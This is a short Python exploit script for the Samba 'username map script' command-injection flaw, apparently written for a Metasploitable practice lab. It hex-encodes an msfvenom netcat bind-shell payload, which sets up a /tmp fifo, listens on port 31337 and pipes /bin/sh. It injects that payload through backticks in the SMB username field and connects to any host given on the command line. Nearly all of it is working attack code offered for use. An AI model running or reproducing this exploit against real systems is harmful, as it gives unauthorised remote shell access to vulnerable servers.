samba-usermap-bind.py

#!/usr/bin/python
from smb.SMBConnection import SMBConnection
import random, string
from smb import smb_structs
smb_structs.SUPPORT_SMB2 = False
import sys
# Just a python version of a very simple Samba exploit. 
# It doesn't have to be pretty because the shellcode is executed
# in the username field. 
#
# Just reversed this - https://www.exploit-db.com/exploits/16320/ 

# Configured SMB connection options with info from here:
# https://pythonhosted.org/pysmb/api/smb_SMBConnection.html


if len(sys.argv) < 2:
    print "\nUsage: " + sys.argv[0] + " <HOST>\n"
    sys.exit()

# Bind shell 
# nc -nv $victim 31337
# msfvenom -p cmd/unix/bind_netcat LPORT=31337 -f python

buf =  ""
buf += "\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x63"
buf += "\x67\x6a\x79\x6a\x62\x3b\x20\x28\x6e\x63\x20\x2d\x6c"
buf += "\x20\x2d\x70\x20\x33\x31\x33\x33\x37\x20\x7c\x7c\x6e"
buf += "\x63\x20\x2d\x6c\x20\x33\x31\x33\x33\x37\x29\x30\x3c"
buf += "\x2f\x74\x6d\x70\x2f\x63\x67\x6a\x79\x6a\x62\x20\x7c"
buf += "\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x3e\x2f\x74\x6d"
buf += "\x70\x2f\x63\x67\x6a\x79\x6a\x62\x20\x32\x3e\x26\x31"
buf += "\x3b\x20\x72\x6d\x20\x2f\x74\x6d\x70\x2f\x63\x67\x6a"
buf += "\x79\x6a\x62"



username = "/=`nohup " + buf + "`"
password = ""
conn = SMBConnection(username, password, "SOMEBODYHACKINGYOU" , "METASPLOITABLE", use_ntlm_v2 = False)
assert conn.connect(sys.argv[1], 445)